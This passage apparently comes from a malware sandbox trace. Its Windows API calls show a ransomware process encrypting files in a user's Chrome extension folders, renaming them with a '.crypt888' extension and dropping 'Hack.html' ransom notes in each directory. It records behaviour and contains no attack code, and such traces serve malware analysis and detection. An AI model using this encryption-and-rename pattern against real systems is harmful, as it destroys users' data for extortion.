lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.008] GetFileType (hFile=0x174) returned 0x1 [0073.008] GetFileType (hFile=0x174) returned 0x1 [0073.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.009] GetFileType (hFile=0x174) returned 0x1 [0073.009] GetFileType (hFile=0x174) returned 0x1 [0073.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.017] GetFileType (hFile=0x174) returned 0x1 [0073.017] GetFileType (hFile=0x174) returned 0x1 [0073.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.018] GetFileType (hFile=0x174) returned 0x1 [0073.018] GetFileType (hFile=0x174) returned 0x1 [0073.019] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.019] GetFileType (hFile=0x174) returned 0x1 [0073.019] GetFileType (hFile=0x174) returned 0x1 [0073.036] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0073.038] GetFileType (hFile=0x174) returned 0x1 [0073.038] GetFileType (hFile=0x174) returned 0x1 [0073.038] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x1a33 [0073.038] ReadFile (in: hFile=0x174, lpBuffer=0x276c1dc, nNumberOfBytesToRead=0x1a33, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x276c1dc*, lpNumberOfBytesRead=0x39ebb8*=0x1a33, lpOverlapped=0x0) returned 1 [0073.067] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0073.068] GetFileType (hFile=0x174) returned 0x1 [0073.068] GetFileType (hFile=0x174) returned 0x1 [0073.068] WriteFile (in: hFile=0x174, lpBuffer=0x27c1440*, nNumberOfBytesToWrite=0x1a40, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x27c1440*, lpNumberOfBytesWritten=0x39eba8*=0x1a40, lpOverlapped=0x0) returned 1 [0073.071] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.crypt888")) returned 1 [0073.082] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.082] GetFileType (hFile=0x174) returned 0x1 [0073.082] GetFileType (hFile=0x174) returned 0x1 [0073.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.093] GetFileType (hFile=0x174) returned 0x1 [0073.093] GetFileType (hFile=0x174) returned 0x1 [0073.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.094] GetFileType (hFile=0x174) returned 0x1 [0073.094] GetFileType (hFile=0x174) returned 0x1 [0073.096] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.099] GetFileType (hFile=0x174) returned 0x1 [0073.100] GetFileType (hFile=0x174) returned 0x1 [0073.101] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.102] GetFileType (hFile=0x174) returned 0x1 [0073.102] GetFileType (hFile=0x174) returned 0x1 [0073.104] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.104] GetFileType (hFile=0x174) returned 0x1 [0073.104] GetFileType (hFile=0x174) returned 0x1 [0073.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.109] GetFileType (hFile=0x174) returned 0x1 [0073.109] GetFileType (hFile=0x174) returned 0x1 [0073.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.111] GetFileType (hFile=0x174) returned 0x1 [0073.111] GetFileType (hFile=0x174) returned 0x1 [0073.112] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.112] GetFileType (hFile=0x174) returned 0x1 [0073.112] GetFileType (hFile=0x174) returned 0x1 [0073.114] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0073.114] GetFileType (hFile=0x174) returned 0x1 [0073.239] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.crypt888")) returned 1 [0073.353] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.crypt888")) returned 1 [0073.372] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.crypt888")) returned 1 [0073.391] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.crypt888")) returned 1 [0073.418] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.crypt888")) returned 1 [0073.551] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.crypt888")) returned 1 [0073.574] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.crypt888")) returned 1 [0073.590] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.crypt888")) returned 1 [0073.605] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.crypt888")) returned 1 [0073.792] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.crypt888")) returned 1 [0073.845] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.crypt888")) returned 1 [0073.872] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.crypt888")) returned 1 [0073.893] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.crypt888")) returned 1 [0073.958] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png", lpFilePart=0x0) returned 0x95 [0073.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0073.958] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0073.959] GetFileType (hFile=0x174) returned 0x1 [0073.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0073.959] GetFileType (hFile=0x174) returned 0x1 [0073.959] WriteFile (in: hFile=0x174, lpBuffer=0x27037b4*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x39eb74, lpOverlapped=0x0 | out: lpBuffer=0x27037b4*, lpNumberOfBytesWritten=0x39eb74*=0x1110, lpOverlapped=0x0) returned 1 [0073.960] CloseHandle (hObject=0x174) returned 1 [0073.960] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png", lpFilePart=0x0) returned 0x95 [0073.960] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.crypt888", lpFilePart=0x0) returned 0x9e [0073.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0073.961] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828af610, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbd4941a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x1110)) returned 1 [0073.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0073.961] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 